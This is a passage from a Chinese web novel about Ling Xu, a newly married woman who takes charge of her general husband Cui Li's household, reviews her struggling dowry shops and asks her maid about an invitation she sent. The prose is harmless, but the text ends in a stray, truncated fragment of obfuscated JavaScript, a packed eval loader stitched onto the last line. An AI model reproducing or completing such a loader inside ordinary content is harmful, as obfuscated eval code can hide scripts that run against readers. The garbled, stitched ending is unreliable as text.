心底有个声音不断地告诉她,既然老天给了她重来一次的机会,便不要被过去困住不敢往前。
也许。
凌煦想。
像崔栎说的那样,至少不要推开他。
.
日子一天天过去,凌煦与崔栎自归宁回府后,便一直保持着相敬如宾的关系。
凌煦雷厉风行地料理好了府内那些不听话的,有小心思的仆从,又安排陈嬷嬷买了新人进府,在她的操持下,府内事务逐渐步入正轨。
京城内早已传开了她和崔栎新婚后归宁日在凌府的所作所为。
崔栎本就因其养子身份不被京中世家接纳,如今名声更是跌落了几分,凌煦稍好一些,也只是因为众人顾及着凌丞相无论如何是她的亲生父亲这一层。
二人在对待这件事上态度倒是空前一致,他们并不在乎别人如何看待自己,只做好自己应该做的。
崔栎新婚的休沐结束,日程变得十分简单,每日上朝,练兵,回府和凌煦吃晚饭,在书房看兵法,睡觉。
凌煦则是开始打理她嫁妆里的城内铺面营收,每日除了听陈嬷嬷报告府内事务外,便是唤不同的掌柜到崔府宴客厅议事。
“夫人,这是奴婢整理的各铺面目前情况,只有东市的茶庄和书坊是人手齐全的,其他的铺面,要么缺人,要么缺钱缺物,情况并不乐观。”
凌煦从青桃手中接过册子,她翻看着青桃统计的铺面情况,轻叹一声。
“看来母亲真是被我气着了,这些铺面想来都是为了充门面而随意购置的,若是母亲经营的,必然不是这个样子。”
她将册子合起来,拿起一旁三七新换的茶轻抿。
“将军呢?”
“将军午膳后便出门了,说是营中林副将邀请,晚膳不回府用了。”
“知道了。”凌煦点点头,“这些铺面的问题先放着,铺面数量众多,若要细细整治,也颇费功夫,倒不急于一时。”
她将册子递还给青桃,又问道:“前几日送去户部尚书府的请帖,可有回信了?”
青桃摇头,随后问道:“夫人,程姑娘与您一向不对付,您为何单独邀她来府上做客?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29